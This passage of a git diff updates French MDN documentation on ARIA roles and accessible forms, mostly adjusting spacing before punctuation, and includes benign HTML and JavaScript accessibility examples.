Accessibilité/ARIA/Techniques_ARIA/Utiliser_le_role_group Cette technique présente l’utilisation du rôle [group](http://www.w3.org/TR/wai-aria/roles#group) et décrit les effets produits sur les navigateurs et les technologies d’assistance. -Le rôle `group` est utilisé pour identifier un ensemble d’objets de l’interface utilisateur qui, contrairement à une [`region`](http://www.w3.org/TR/wai-aria/roles#region), ne sont pas destinés à être intégrés dans une table de contenus ou une page récapitulative (telles que des structures dynamiquement créées par des scripts ou par les technologies d’assistance) ; un groupe ne devrait pas être considéré comme une partie perceptible majeure d’une page. Lorsque le rôle `group` est ajouté à un élément, , le navigateur émettra un événement `group` accessible aux produits de technologie d’assistance qui pourront alors le notifier à l’utilisateur. +Le rôle `group` est utilisé pour identifier un ensemble d’objets de l’interface utilisateur qui, contrairement à une [`region`](http://www.w3.org/TR/wai-aria/roles#region), ne sont pas destinés à être intégrés dans une table de contenus ou une page récapitulative (telles que des structures dynamiquement créées par des scripts ou par les technologies d’assistance) ; un groupe ne devrait pas être considéré comme une partie perceptible majeure d’une page. Lorsque le rôle `group` est ajouté à un élément, , le navigateur émettra un événement `group` accessible aux produits de technologie d’assistance qui pourront alors le notifier à l’utilisateur. Un groupe devrait utilisé pour former un ensemble logique d’éléments avec des fonctions connexes, tels que les enfants dans un composant d’arborescence formant un ensemble apparenté dans une hiérarchie, ou une collection d’éléments ayant le même conteneur dans un répertoire. Cependant, lorsqu’on utilise un groupe pour former une liste, les développeurs doivent limiter ses enfants aux éléments [listitem](http://www.w3.org/TR/wai-aria/roles#listitem). Les éléments de groupe devraient être imbriqués. @@ -22,12 +22,12 @@ Si un auteur pense qu’une section est suffisamment importante pour faire parti ### Effets possibles sur les agents utilisateurs et les technologies d’assistance -Lorsque le rôle `group` est ajouté à un élément, ou qu’un tel élément devient visible, l’agent utilisateur devrait suivre les étapes suivantes : +Lorsque le rôle `group` est ajouté à un élément, ou qu’un tel élément devient visible, l’agent utilisateur devrait suivre les étapes suivantes : -- Présenter l’élément ayant un rôle de groupe à l’API d’accessibilité du système d’exploitation ; +- Présenter l’élément ayant un rôle de groupe à l’API d’accessibilité du système d’exploitation ; - Déclencher un événement groupe accessible à l’aide l’API d’accessibilité du système d’exploitation si elle le prend en charge. -Les technologies d’assistance devraient être à l’écoute de tels événements et les notifier à l’utilisateur en conséquence : +Les technologies d’assistance devraient être à l’écoute de tels événements et les notifier à l’utilisateur en conséquence : - Les lecteurs d’écran devraient annoncer le groupe lorsque le focus atteint l’un des contrôles appartenant au groupe, et si [aria-describedby](http://www.w3.org/TR/wai-aria/states_and_properties#aria-describedby) a été défini, la description peut être lue. Après cela seulement le contrôle focalisé devrait être annoncé. - Les loupes d’écran devraient agrandir le groupe. @@ -36,7 +36,7 @@ Les technologies d’assistance devraient être à l’écoute de tels événeme ### Exemples -#### Exemple 1 : Utiliser le rôle `group` avec une arborescence HTML +#### Exemple 1 : Utiliser le rôle `group` avec une arborescence HTML L’extrait de code ci-dessous montre comment le rôle `group` est ajouté directement dans le code source HTML. @@ -69,7 +69,7 @@ L’extrait de code ci-dessous montre comment le rôle `group` est ajouté direc </div> ``` -#### Exemple 2 : Utiliser le rôle `group` avec un menu déroulant HTML +#### Exemple 2 : Utiliser le rôle `group` avec un menu déroulant HTML L’extrait de code ci-dessous montre comment le rôle `group` est ajouté directement au code source HTML. @@ -92,7 +92,7 @@ L’extrait de code ci-dessous montre comment le rôle `group` est ajouté direc </div> ``` -#### Exemples concrets : +#### Exemples concrets : - <http://test.cita.illinois.edu/aria/tree/tree2.php> @@ -110,4 +110,4 @@ L’extrait de code ci-dessous montre comment le rôle `group` est ajouté direc ### Autres ressources -- Bonnes pratiques ARIA – Répertoires, groupes et zones : [Directories, Groups, and Regions (en)](http://www.w3.org/TR/wai-aria-practices/#kbd_layout_groupheading) +- Bonnes pratiques ARIA – Répertoires, groupes et zones : [Directories, Groups, and Regions (en)](http://www.w3.org/TR/wai-aria-practices/#kbd_layout_groupheading) diff --git a/files/fr/web/accessibility/aria/aria_techniques/using_the_link_role/index.md b/files/fr/web/accessibility/aria/aria_techniques/using_the_link_role/index.md index 08b116042f..aa7ef0900e 100644 --- a/files/fr/web/accessibility/aria/aria_techniques/using_the_link_role/index.md +++ b/files/fr/web/accessibility/aria/aria_techniques/using_the_link_role/index.md @@ -18,12 +18,12 @@ L’attribut [tabindex](http://www.w3.org/TR/wai-aria-practices/#focus_tabindex) ### Effets possibles sur les agents utilisateurs et les technologies d’assistance -Lorsque le rôle `link` est ajouté à un élément, ou qu’un élément possédant ce rôle devient visible, l’agent utilisateur devrait suivre les étapes suivantes : +Lorsque le rôle `link` est ajouté à un élément, ou qu’un élément possédant ce rôle devient visible, l’agent utilisateur devrait suivre les étapes suivantes : - Présenter l’élément comme un lien à l’API accessibilité du système d’exploitation. - Déclencher un événement lien accessible à l’aide de l’API d’accessibilité du système d’exploitation si elle le prend en charge. -Les technologies d’assistance devraient être à l’écoute de tels événements et les notifier à l’utilisateur en conséquence : +Les technologies d’assistance devraient être à l’écoute de tels événements et les notifier à l’utilisateur en conséquence : - Les lecteurs d'écran devraient annoncer le texte du lien ou son label lorsque l'élément avec le rôle `link`reçoit le focus, en plus du fait ce que c'est un lien. Les liens ARIA devraient être intégré dans la fonction « lister les liens » (_List Links_) des lecteurs d'écran de la même façon que les liens ordinaires, et les actions dans cette liste de dialogue, tels que « Activer le lien » ou « Déplacer le lien », devraient se comporter de la meme façon qu'avec des liens ordinaires. - Les loupes d’écran devraient agrandir le lien. @@ -32,7 +32,7 @@ Les technologies d’assistance devraient être à l’écoute de tels événeme ### Exemples -#### Exemple 1 : **Ajoute le rôle dans le code HTML** +#### Exemple 1 : **Ajoute le rôle dans le code HTML** L’extrait de code ci-dessous montre comment le rôle `link` est ajouté dans le code source HTML. @@ -40,7 +40,7 @@ L’extrait de code ci-dessous montre comment le rôle `link` est ajouté dans l <div role=”link”>Un lien</div> ``` -#### **Exemple 2 : Lien accessible créé depuis une application à l'aide d'un \<span>** +#### **Exemple 2 : Lien accessible créé depuis une application à l'aide d'un \<span>** ```html <script type="text/javascript"> @@ -65,7 +65,7 @@ function navigateLink(evt) { </body> ``` -#### Exemples concrets : +#### Exemples concrets : - <http://codetalks.org/source/widgets/link/link.html> - <http://codetalks.org/source/widgets/link/link.sample.html> @@ -84,4 +84,4 @@ Si l'activation du lien déclenche une action mais ne déplace pas le focus du n ### Autres ressources -- Bonnes pratiques ARIA - Rôle `Link` : [#link](http://www.w3.org/TR/wai-aria-practices/#link) +- Bonnes pratiques ARIA - Rôle `Link` : [#link](http://www.w3.org/TR/wai-aria-practices/#link) diff --git a/files/fr/web/accessibility/aria/aria_techniques/using_the_log_role/index.md b/files/fr/web/accessibility/aria/aria_techniques/using_the_log_role/index.md index 350f5f7ebe..6be8ad4c37 100644 --- a/files/fr/web/accessibility/aria/aria_techniques/using_the_log_role/index.md +++ b/files/fr/web/accessibility/aria/aria_techniques/using_the_log_role/index.md @@ -18,12 +18,12 @@ Par défaut, les mises à jour ne contiennent que les changements apportés à l ### Effets possibles sur les agents utilisateurs et les technologies d’assistance -Lorsque le rôle `log` est ajouté à un élément, ou qu’un tel élément devient visible, l’agent utilisateur devrait suivre les étapes suivantes : +Lorsque le rôle `log` est ajouté à un élément, ou qu’un tel élément devient visible, l’agent utilisateur devrait suivre les étapes suivantes : -- Présenter l’élément ayant un rôle de journal à l’API d’accessibilité du système d’exploitation ; +- Présenter l’élément ayant un rôle de journal à l’API d’accessibilité du système d’exploitation ; - Déclencher un événement journal accessible à l’aide de l’API d’accessibilité du système d’exploitation si elle le prend en charge. -Les technologies d’assistance devraient être à l’écoute de tels événements et les notifier à l’utilisateur en conséquence : +Les technologies d’assistance devraient être à l’écoute de tels événements et les notifier à l’utilisateur en conséquence : - Les lecteurs d'écran devraient annoncer les changements intervenus dans le fichier de journalisation lorsque l'utilisateur est inactif, à moins que `aria-live="assertive"` soit défini, dans quel cas l'utilisateur peut être interrompu. - Les loupes d'écran devraient indiquer visuellement la disponibilité d'une mise à jour du fichier de journalisation. @@ -32,7 +32,7 @@ Les technologies d’assistance devraient être à l’écoute de tels événeme ### Exemples -#### Exemple 1 : Ajout du rôle dans du code HTML +#### Exemple 1 : Ajout du rôle dans du code HTML L’extrait de code ci-dessous montre comment le rôle `log` est ajouté directement dans le code source HTML. @@ -40,7 +40,7 @@ L’extrait de code ci-dessous montre comment le rôle `log` est ajouté directe <div id=”liveregion” class=”region” role=”log”></div> ``` -#### Exemple 2 : Extrait d’un exemple d’application +#### Exemple 2 : Extrait d’un exemple d’application Cet extrait de code crée le journal dans une application de chat AJAX. @@ -57,10 +57,10 @@ Cet extrait de code crée le journal dans une application de chat AJAX. Voir l’[exemple](http://codetalks.org/source/live/chat.html) sur CodeTalks pour plus d’informations. -#### Exemples concrets : +#### Exemples concrets : -- <http://test.cita.illinois.edu/aria/live/live1.php> ; -- <http://websiteaccessibility.donaldevans.com/2011/07/12/aria-log/> ; +- <http://test.cita.illinois.edu/aria/live/live1.php> ; +- <http://websiteaccessibility.donaldevans.com/2011/07/12/aria-log/> ; - <http://codetalks.org/source/live/chat.html> \[[notes](http://codetalks.org/source/live/chat_notes.html)]. ### Notes @@ -78,4 +78,4 @@ Voir l’[exemple](http://codetalks.org/source/live/chat.html) sur CodeTalks pou ### Autres ressources -- Bonnes pratiques ARIA – Implémentation des zones live : [#LiveRegions](http://www.w3.org/TR/wai-aria-practices/#LiveRegions). +- Bonnes pratiques ARIA – Implémentation des zones live : [#LiveRegions](http://www.w3.org/TR/wai-aria-practices/#LiveRegions). diff --git a/files/fr/web/accessibility/aria/aria_techniques/using_the_presentation_role/index.md b/files/fr/web/accessibility/aria/aria_techniques/using_the_presentation_role/index.md index 9287c5f81e..85210f2168 100644 --- a/files/fr/web/accessibility/aria/aria_techniques/using_the_presentation_role/index.md +++ b/files/fr/web/accessibility/aria/aria_techniques/using_the_presentation_role/index.md @@ -30,7 +30,7 @@ Une des recommandations d'accessibilité propose que les couleurs ou les représ <i class="icon-user" role="presentation"></i> ``` -#### Exemples concrets : +#### Exemples concrets : Par exemple, en reprenant le bouton de la navigation principale de ce site web, nous pourrions écrire. @@ -53,4 +53,4 @@ De plus en plus d'images sont proposées sous la forme de compositions SVG direc ## Autres ressources -Using Aria - 2.9 Use of Role=presentation or Role=none: <https://www.w3.org/TR/using-aria/#presentation> +Using Aria - 2.9 Use of Role=presentation or Role=none: <https://www.w3.org/TR/using-aria/#presentation> diff --git a/files/fr/web/accessibility/aria/aria_techniques/using_the_progressbar_role/index.md b/files/fr/web/accessibility/aria/aria_techniques/using_the_progressbar_role/index.md index 2473934478..4c440daf89 100644 --- a/files/fr/web/accessibility/aria/aria_techniques/using_the_progressbar_role/index.md +++ b/files/fr/web/accessibility/aria/aria_techniques/using_the_progressbar_role/index.md @@ -32,21 +32,21 @@ Les lecteurs devraient annoncer les mises à jour de la progression dès qu’el ### Exemples -#### Exemple 1 : barre de progression simple avec pourcentage de progression +#### Exemple 1 : barre de progression simple avec pourcentage de progression ```html <div role="progressbar" aria-valuenow="20" aria-valuemin="0" aria-valuemax="100">20 %</div> ``` -#### Exemple 2 : Utilisation de `aria-valuetext` +#### Exemple 2 : Utilisation de `aria-valuetext` ```html -<div role="progressbar" aria-valuenow="20" aria-valuemin="0" aria-valuetext="Étape 2 : Copie des fichiers…" aria-valuemax="100"> - Étape 2 : Copie des fichiers… +<div role="progressbar" aria-valuenow="20" aria-valuemin="0" aria-valuetext="Étape 2 : Copie des fichiers…" aria-valuemax="100"> + Étape 2 : Copie des fichiers… </div> ``` -#### Exemples concrets : +#### Exemples concrets : ### Notes diff --git a/files/fr/web/accessibility/aria/aria_techniques/using_the_slider_role/index.md b/files/fr/web/accessibility/aria/aria_techniques/using_the_slider_role/index.md index 9612cd75c3..42dd9adcea 100644 --- a/files/fr/web/accessibility/aria/aria_techniques/using_the_slider_role/index.md +++ b/files/fr/web/accessibility/aria/aria_techniques/using_the_slider_role/index.md @@ -12,11 +12,11 @@ original_slug: Accessibilité/ARIA/Techniques_ARIA/Utiliser_le_role_slider Cette technique présente l’utilisation du rôle [slider](http://www.w3.org/TR/wai-aria/roles#slider). -Le rôle `slider` est utilisé pour des balises qui permettent à l'utilisateur de sélectionner une valeur dans un intervalle donné. Le rôle `slider` est assigné à la « *molette* », le contrôle qui est ajusté pour modifier la valeur. Typiquement, un autre élément est stylé pour représenter visuellement l'intervalle de valeurs possibles, et le curseur est positionné visuellement pour représenter la valeur dans cet intervalle. Lorsque l'utilisateur interagit avec la molette, l'application doit programmatiquement ajuster l'attribut `aria-valuenow` du curseur de défilement (et si possible `aria-valuetext`) pour refléter la valeur courante. Voir la section {{ anch("Exemples") }} ci-dessous pour plus d'informations. +Le rôle `slider` est utilisé pour des balises qui permettent à l'utilisateur de sélectionner une valeur dans un intervalle donné. Le rôle `slider` est assigné à la « *molette* », le contrôle qui est ajusté pour modifier la valeur. Typiquement, un autre élément est stylé pour représenter visuellement l'intervalle de valeurs possibles, et le curseur est positionné visuellement pour représenter la valeur dans cet intervalle. Lorsque l'utilisateur interagit avec la molette, l'application doit programmatiquement ajuster l'attribut `aria-valuenow` du curseur de défilement (et si possible `aria-valuetext`) pour refléter la valeur courante. Voir la section {{ anch("Exemples") }} ci-dessous pour plus d'informations. #### Clavier et focus -Le curseur doit pouvoir recevoir le focus et être manipulable au clavier. Lorsque l'utilisateur tabule pour amener le focus sur le curseur, il doit arriver sur la molette : le contrôle qu'un utilisateur de souris fera glisser. Les touches flèches doivent agir de la façon suivante (attention toutefois, dans les applications, aux directions de flèches pour les langues s'écrivant de droite à gauche) : +Le curseur doit pouvoir recevoir le focus et être manipulable au clavier. Lorsque l'utilisateur tabule pour amener le focus sur le curseur, il doit arriver sur la molette : le contrôle qu'un utilisateur de souris fera glisser. Les touches flèches doivent agir de la façon suivante (attention toutefois, dans les applications, aux directions de flèches pour les langues s'écrivant de droite à gauche) : | Touche(s) | Action | | ---------------------- | --------------------------------------------------------------------------------------------------------------------------- | @@ -30,7 +30,7 @@ Le curseur doit pouvoir recevoir le focus et être manipulable au clavier. Lorsq ### Exemples -#### Exemple 1 : Intervalle numérique simple +#### Exemple 1 : Intervalle numérique simple Dans l'exemple ci-dessous, un simple curseur est utilisé pour sélectionner une valeur entre 1 et 100. Le volume courant est 60. L'application actualisera programmatiquement la valeur de `aria-valuenow` en réponse à l'action de l'utilisateur. @@ -46,12 +46,12 @@ Dans l'exemple ci-dessous, un simple curseur est utilisé pour sélectionner une </div> ``` -#### Exemple 2 : Valeurs texte +#### Exemple 2 : Valeurs texte -Parfois, un slider est utilisé pour choisir une valeur qui n'est pas, sémantiquement , un nombre. Dans ces cas là, l'attribut `aria-valuetext` est utilisé pour donner le texte approprié pour la valeur sélectionnée. Dans l'exemple ci-dessous, le slider est utilisé pour sélectionner un jour de la semaine . +Parfois, un slider est utilisé pour choisir une valeur qui n'est pas, sémantiquement, un nombre. Dans ces cas là, l'attribut `aria-valuetext` est utilisé pour donner le texte approprié pour la valeur sélectionnée. Dans l'exemple ci-dessous, le slider est utilisé pour sélectionner un jour de la semaine . ```html -<div id="slider-label">Jour de la semaine :</div> +<div id="slider-label">Jour de la semaine :</div> <div class="day-slider"> <a href="#" id="day-handle" class="day-slider-handle" role="slider" aria-labelledby="slider-label" @@ -63,7 +63,7 @@ Parfois, un slider est utilisé pour choisir une valeur qui n'est pas, sémanti </div> ``` -L'extrait de code ci-dessous décrit une fonction qui répond à l'action de l'utilisateur et actualise les attributs `aria-valuenow` et `aria-valuetext` : +L'extrait de code ci-dessous décrit une fonction qui répond à l'action de l'utilisateur et actualise les attributs `aria-valuenow` et `aria-valuetext` : ```js var dayNames = ["Dimanche", "Lundi", "Mardi", "Mercredi", "Jeudi", "Vendredi", "Samedi"]; @@ -78,10 +78,10 @@ var updateSlider = function (newValue) { ### Attributs ARIA utilisés -- [aria-valuemin](/fr/Accessibilité/ARIA/Techniques_ARIA/Utiliser_l_attribut_aria-valuemin) ; -- [aria-valuemax](/fr/Accessibilité/ARIA/Techniques_ARIA/Utiliser_l_attribut_aria-valuemax) ; -- [aria-valuenow](/fr/Accessibilité/ARIA/Techniques_ARIA/Utiliser_l_attribut_aria-valuenow) ; -- [aria-valuetext](/fr/Accessibilité/ARIA/Techniques_ARIA/Utiliser_l_attribut_aria-valuetext) ; +- [aria-valuemin](/fr/Accessibilité/ARIA/Techniques_ARIA/Utiliser_l_attribut_aria-valuemin) ; +- [aria-valuemax](/fr/Accessibilité/ARIA/Techniques_ARIA/Utiliser_l_attribut_aria-valuemax) ; +- [aria-valuenow](/fr/Accessibilité/ARIA/Techniques_ARIA/Utiliser_l_attribut_aria-valuenow) ; +- [aria-valuetext](/fr/Accessibilité/ARIA/Techniques_ARIA/Utiliser_l_attribut_aria-valuetext) ; - [aria-orientation](/fr/Accessibilité/ARIA/Techniques_ARIA/Utiliser_l_attribut_aria-orientation). ### Autres ressources diff --git a/files/fr/web/accessibility/aria/aria_techniques/using_the_status_role/index.md b/files/fr/web/accessibility/aria/aria_techniques/using_the_status_role/index.md index 2c2e2acb40..fa61595df0 100644 --- a/files/fr/web/accessibility/aria/aria_techniques/using_the_status_role/index.md +++ b/files/fr/web/accessibility/aria/aria_techniques/using_the_status_role/index.md @@ -20,21 +20,21 @@ Les technologies d’assistance devraient réserver des cellules dans la grille ### Effets possibles sur les agents utilisateurs et les technologies d’assistance -Lorsque le rôle `status` est ajouté à un élément, ou qu’un tel élément devient visible, l’agent utilisateur devrait suivre les étapes suivantes : +Lorsque le rôle `status` est ajouté à un élément, ou qu’un tel élément devient visible, l’agent utilisateur devrait suivre les étapes suivantes : -- Présenter l’élément ayant un rôle de `status` à l’API d’accessibilité du système d’exploitation ; +- Présenter l’élément ayant un rôle de `status` à l’API d’accessibilité du système d’exploitation ; - Déclencher un événement `status` accessible à l’aide l’API d’accessibilité du système d’exploitation si elle le prend en charge. -Les technologies d’assistance devraient être à l’écoute de tels événements et les notifier à l’utilisateur en conséquence : +Les technologies d’assistance devraient être à l’écoute de tels événements et les notifier à l’utilisateur en conséquence : -- Les lecteurs d’écran peuvent fournir une touche spécifique pour annoncer l’état actuel et ce dernier devrait présenter les contenus des états des zones live. Cela devrait être annoncé lorsque l'utilisateur est inactif, à moins que l'attribut `aria-live=”assertive”` soit défini dans quel cas l'utilisateur peut être interrompu ; +- Les lecteurs d’écran peuvent fournir une touche spécifique pour annoncer l’état actuel et ce dernier devrait présenter les contenus des états des zones live. Cela devrait être annoncé lorsque l'utilisateur est inactif, à moins que l'attribut `aria-live=”assertive”` soit défini dans quel cas l'utilisateur peut être interrompu ; - Les loupes d’écran devraient agrandir l’objet d’état. > **Note :** il existe plusieurs points de vue sur la façon dont les technologies d’assistance devraient traiter cette technique. L’information fournie ci-dessus est l’une de ces opinions et n’est pas normative. ### Exemples -#### Exemple 1 : ajout du rôle `status` dans le code HTML +#### Exemple 1 : ajout du rôle `status` dans le code HTML L’extrait de code ci-dessous montre comment le rôle `status` est ajouté directement dans le code source HTML. @@ -42,7 +42,7 @@ L’extrait de code ci-dessous montre comment le rôle `status` est ajouté dire <p role="status">Vos modifications ont été automatiquement enregistrées.</p> ``` -#### Exemples concrets : +#### Exemples concrets : ### Notes @@ -56,4 +56,4 @@ L’extrait de code ci-dessous montre comment le rôle `status` est ajouté dire ### Autres ressources -- Bonnes pratiques ARIA – Implémentation des zones live : [#LiveRegions](http://www.w3.org/TR/wai-aria-practices/#LiveRegions). +- Bonnes pratiques ARIA – Implémentation des zones live : [#LiveRegions](http://www.w3.org/TR/wai-aria-practices/#LiveRegions). diff --git a/files/fr/web/accessibility/aria/forms/alerts/index.md b/files/fr/web/accessibility/aria/forms/alerts/index.md index fa0f7bcd60..c78b82924c 100644 --- a/files/fr/web/accessibility/aria/forms/alerts/index.md +++ b/files/fr/web/accessibility/aria/forms/alerts/index.md @@ -15,9 +15,9 @@ Vous avez un formulaire – par exemple un formulaire de contact – pour lequel ## Le formulaire -Tout d’abord, veuillez lire la [technique `aria-required`](/fr/Accessibilité/ARIA/formulaires/Indications_élémentaires_pour_les_formulaires) pour commencer, si vous ne l’avez pas déjà lu, puisque la technique abordée en est le prolongement. +Tout d’abord, veuillez lire la [technique `aria-required`](/fr/Accessibilité/ARIA/formulaires/Indications_élémentaires_pour_les_formulaires) pour commencer, si vous ne l’avez pas déjà lu, puisque la technique abordée en est le prolongement. -Voici un formulaire simple : +Voici un formulaire simple : ```html <form method="post" action="post.php"> @@ -42,19 +42,19 @@ Voici un formulaire simple : </form> ``` -Simple et direct, mais nous ne sommes pas là pour gagner un prix de beauté. :-) +Simple et direct, mais nous ne sommes pas là pour gagner un prix de beauté. :-) ## Vérification de la validité et avertissement de l’utilisateur -Vérifier la validité et avertir l’utilisateur se déroule en plusieurs étapes : +Vérifier la validité et avertir l’utilisateur se déroule en plusieurs étapes : -1. Vérifions que l’adresse électronique pour le nom saisi sont valides. Pour rester simple, nous vérifions si l’adresse contient un symbole « @ », et si le nom saisi contient au moins une espace « \[ ] ». +1. Vérifions que l’adresse électronique pour le nom saisi sont valides. Pour rester simple, nous vérifions si l’adresse contient un symbole « @ », et si le nom saisi contient au moins une espace « \[ ] ». 2. Définissons l’attribut `aria-invalid` du champ et donnons lui la valeur `true`. 3. Notifions à l’utilisateur via une alerte que la valeur saisie n’est pas correcte. Plutôt que d’utiliser la boîte de dialogue envahissante créée par la fonction JavaScript `alert`, nous utiliserons pour ceci un simple composant WAI-ARIA. Cela avertira l’utilisateur, mais le laissera continuer à interagir avec le formulaire sans l’interrompre. Tout ceci se passe lorsque le champ de saisi perd le focus, c’est-à-dire dans le gestionnaire d’événements `onblur`. -La code JavaScript obtenu ressemble à ce qui suit, inséré au-dessus de la balise fermante {{ HTMLElement("head") }} : +La code JavaScript obtenu ressemble à ce qui suit, inséré au-dessus de la balise fermante {{ HTMLElement("head") }} : ```js <script type="application/javascript"> @@ -93,11 +93,11 @@ function checkValidity(aID, aSearchTerm, aMsg) ## La fonction `checkValidity` -Le cœur est la fonction `checkValidity`. Elle accepte trois paramètres : l’ID du champ de saisi qui doit être validé, le terme à recherche pour assurer la validité, et le message d’erreur à insérer dans l’alerte. +Le cœur est la fonction `checkValidity`. Elle accepte trois paramètres : l’ID du champ de saisi qui doit être validé, le terme à recherche pour assurer la validité, et le message d’erreur à insérer dans l’alerte. Pour déterminer la validité, la fonction vérifie si l’`indexOf` de la valeur d’entrée est plus grande que `-1`. Une valeur de `-1` ou moins est retournée si l’index du terme recherché n’a pas pu être trouvée dans la valeur. -Si non valide, la fonction fait deux choses : +Si non valide, la fonction fait deux choses : 1. Elle définit l’attribut `aria-invalid` de l’élément à `true`, ce qui indiquera au lecteur d’écran que le contenu n’est pas correct. 2. Elle appellera la fonction `addAlert` pour ajouter une alerte avec le message d’erreur donné. @@ -106,17 +106,17 @@ Si le terme recherché est trouvé, l’attribut `aria-invalid` est réinitialis ## La fonction `addAlert` -Cette fonction commence par enlever toutes les alertes restantes. Son fonctionnement est simple : elle cherche un élément avec un identifiant `alert`, et si elle en trouve un, l’enlève du modèle objet de document (DOM). +Cette fonction commence par enlever toutes les alertes restantes. Son fonctionnement est simple : elle cherche un élément avec un identifiant `alert`, et si elle en trouve un, l’enlève du modèle objet de document (DOM). -Ensuite, la fonction crée un élément {{ HTMLElement("div") }} qui contient le texte de l’alerte. On lui attribue l’ID `alert`. Et son rôle est défini comme celui d’une « alert ». C’est inspiré par ARIA, même si le nom de l’attribut ne comporte par « aria ». Cela découle du fait que ce rôle est basé sur le module [XHTML Role Attribut](http://www.w3.org/TR/xhtml-role/) qui a été tout simplement porté sur HTML pour plus de simplicité. +Ensuite, la fonction crée un élément {{ HTMLElement("div") }} qui contient le texte de l’alerte. On lui attribue l’ID `alert`. Et son rôle est défini comme celui d’une « alert ». C’est inspiré par ARIA, même si le nom de l’attribut ne comporte par « aria ». Cela découle du fait que ce rôle est basé sur le module [XHTML Role Attribut](http://www.w3.org/TR/xhtml-role/) qui a été tout simplement porté sur HTML pour plus de simplicité. Le texte est ajouté à l’élément {{ HTMLElement("div") }}, qui est lui-même ajouté au document. -Au moment où cela se produira, Firefox déclenchera un événement « alert » pour la technologie d’assistance lorsque la {{ HTMLElement("div") }} apparaîtra. La plupart des lecteurs d’écran prendront celui-ci automatiquement et le liront. C’est similaire à la barre de notification de Firefox qui apparaît lorsque vous désirez mémoriser un mot de passe. Cette alerte que nous venons de créer n’a pas de bouton sur lequel cliquer, elle se contente de nous dire ce qui est erroné. +Au moment où cela se produira, Firefox déclenchera un événement « alert » pour la technologie d’assistance lorsque la {{ HTMLElement("div") }} apparaîtra. La plupart des lecteurs d’écran prendront celui-ci automatiquement et le liront. C’est similaire à la barre de notification de Firefox qui apparaît lorsque vous désirez mémoriser un mot de passe. Cette alerte que nous venons de créer n’a pas de bouton sur lequel cliquer, elle se contente de nous dire ce qui est erroné. ## Ajouter de la magie à l’événement `onblur` -Tout ce qu’il reste à faire, c’est ajouter un gestionnaire d’événement. Nous avons besoin de modifier les deux {{ HTMLElement("input") }} de l’adresse électronique et du nom par ce qui suit : +Tout ce qu’il reste à faire, c’est ajouter un gestionnaire d’événement. Nous avons besoin de modifier les deux {{ HTMLElement("input") }} de l’adresse électronique et du nom par ce qui suit : ```html <input name="nom" id="nom" aria-required="true" @@ -128,18 +128,18 @@ Tout ce qu’il reste à faire, c’est ajouter un gestionnaire d’événement. **Test de l’exemple** -Si vous utilisez Firefox 3 (ou supérieur) et un lecteur d’écran actuellement pris en charge, essayez ce qui suit : +Si vous utilisez Firefox 3 (ou supérieur) et un lecteur d’écran actuellement pris en charge, essayez ce qui suit : -1. Saisissez uniquement votre prénom dans le champ « Nom ». Lorsque vous changerez de champ avec la touche tabulation, vous entendrez une alerte vous avertissant que vous avez saisi un nom invalide. Vous pourrez alors revenir en arrière et corriger l’erreur. -2. Saisissez une adresse électronique sans le symbole « @ ». Lorsque vous changerez de champ avec la touche tabulation, vous devriez entendre un avertissement vous indiquant que vous avez saisi une adresse électronique invalide. +1. Saisissez uniquement votre prénom dans le champ « Nom ». Lorsque vous changerez de champ avec la touche tabulation, vous entendrez une alerte vous avertissant que vous avez saisi un nom invalide. Vous pourrez alors revenir en arrière et corriger l’erreur. +2. Saisissez une adresse électronique sans le symbole « @ ». Lorsque vous changerez de champ avec la touche tabulation, vous devriez entendre un avertissement vous indiquant que vous avez saisi une adresse électronique invalide. Dans les deux cas, lorsque le focus revient sur le champ concerné, votre lecteur d’écran devrait vous dire que le champ est invalide. JAWS 9 prend en charge cette fonction, mais pas JAWS 8, aussi il se peut que ça ne fonctionne pas pour toutes les versions des lecteurs d’écran pris en charge. ## Quelques questions qu’on peut se poser -- Q. Pourquoi mettre à la fois un `(required)` dans le texte du label et l’attribut `aria-required` sur certains éléments {{ HTMLElement("input") }} ? +- Q. Pourquoi mettre à la fois un `(required)` dans le texte du label et l’attribut `aria-required` sur certains éléments {{ HTMLElement("input") }} ? - : R. Si nous avions un véritable formulaire dynamique et que le site était visité par un navigateur ne prenant pas en charge ARIA, nous voudrions tout de même donner une indication sur l’obligation de remplir le champ. -- Q. Pourquoi ne remettez-vous pas automatiquement le focus sur le champ invalide ? +- Q. Pourquoi ne remettez-vous pas automatiquement le focus sur le champ invalide ? - : R. Cela n’est pas autorisé par, au moins, la spécification de l’API Windows, et probablement par d’autres. De plus, laisser le focus se déplacer sans réelle intervention de l’utilisateur n’est généralement pas considéré comme une chose à faire. ## Conclusion diff --git a/files/fr/web/accessibility/aria/forms/basic_form_hints/index.md b/files/fr/web/accessibility/aria/forms/basic_form_hints/index.md index c56dc26119..35202039fd 100644 --- a/files/fr/web/accessibility/aria/forms/basic_form_hints/index.md +++ b/files/fr/web/accessibility/aria/forms/basic_form_hints/index.md @@ -10,7 +10,7 @@ original_slug: Accessibilité/ARIA/formulaires/Indications_elementaires_pour_les --- ## Labels de formulaire -Lors de l’implémentation de formulaires à l’aide d’éléments de formulaire HTML classiques, il est important de fournir des labels pour les contrôles et d’associer explicitement un label avec son contrôle. Lorsqu’un utilisateur de lecteur d’écran navigue sur une page, le lecteur d’écran décrit les contrôles de formulaire ; mais sans association directe entre un contrôle et son label, le lecteur d’écran n’a aucun moyen de savoir quel est le label correspondant. +Lors de l’implémentation de formulaires à l’aide d’éléments de formulaire HTML classiques, il est important de fournir des labels pour les contrôles et d’associer explicitement un label avec son contrôle. Lorsqu’un utilisateur de lecteur d’écran navigue sur une page, le lecteur d’écran décrit les contrôles de formulaire ; mais sans association directe entre un contrôle et son label, le lecteur d’écran n’a aucun moyen de savoir quel est le label correspondant. L’exemple ci-dessous montre un formulaire basique avec des labels. Remarquez que chaque élément {{ HTMLElement("input") }} possède un `id`, et chaque élément {{ HTMLElement("label") }} a un attribut `for` indiquant l’`id` de l’{{ HTMLElement("input") }} associé. @@ -43,7 +43,7 @@ _Exemple 1. Formulaire basique avec labels_ L’élément HTML {{ HTMLElement("label") }} est approprié pour les éléments liés aux formulaires, mais de nombreux contrôles de formulaires sont implémentés sous forme de composants JavaScript dynamiques et utilisent les éléments {{ HTMLElement("div") }} ou {{ HTMLElement("span") }}. [WAI-ARIA](http://www.w3.org/WAI/intro/aria.php), la spécification **Accessible Rich Internet Applications** (Applications Internet Riches Accessibles) de la [Web Accessibility Initiative](http://www.w3.org/WAI/) (Initiative pour l’Accessibilité du web) du W3C, fournit l’attribut [`aria-labelledby`](http://www.w3.org/TR/2010/WD-wai-aria-20100916/states_and_properties#aria-labelledby) dans ces cas de figure. -L’exemple ci-dessous montre un groupe de boutons radio implémenté à l’aide d’une liste non-ordonnée. Remarquez, à la ligne 3, que l’attribut 